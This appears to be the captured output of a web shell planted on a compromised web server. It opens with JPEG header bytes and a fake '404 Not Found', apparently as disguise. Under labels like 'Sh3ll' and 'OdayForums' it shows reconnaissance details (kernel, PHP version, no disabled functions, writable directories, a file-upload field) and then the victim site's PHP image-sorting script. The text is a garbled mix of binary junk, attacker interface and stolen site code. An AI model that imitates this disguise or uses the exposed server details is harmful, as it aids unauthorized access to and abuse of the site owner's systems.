����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/code/admin/posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/truyentranh/code/admin/posts/test_sort.php
<?php
$targetdir = 'upload/tmp';
$arr_list_file = scanDirAndSubdir($targetdir);
$folder = end($arr_list_file);
$last_key = array_key_last($arr_list_file);
if(is_dir($folder)) {
    unset($arr_list_file[$last_key]);
}else{
    $folder = $targetdir;
}
foreach($arr_list_file as $key=>$val){
    $arr_img_zip[] = basename($val);
}
/*foreach($arr_img_zip as $val){
    preg_match('#\((.*?)\)#is',$val,$match_a);
    print_r($match_a);
    exit();
    $name_a = intval($match_a[0]);
}*/
function cmp($a,$b){
    $arr_img_name_a = explode('.',$a);
    $arr_img_name_b = explode('.',$b);
    preg_match('#\((.*?)\)#is',$arr_img_name_a[0],$match_a);
    $name_a = intval($match_a[1]);
    preg_match('#\((.*?)\)#is',$arr_img_name_b[0],$match_b);
    $name_b = intval($match_b[1]);
    if ($name_a == $name_b) {
        return 1;
    }
    return ($name_a > $name_b) ? 1 : -1;
}
usort ( $arr_img_zip , 'cmp');
print_r($arr_img_zip);
exit();
?>

ZeroDay Forums Mini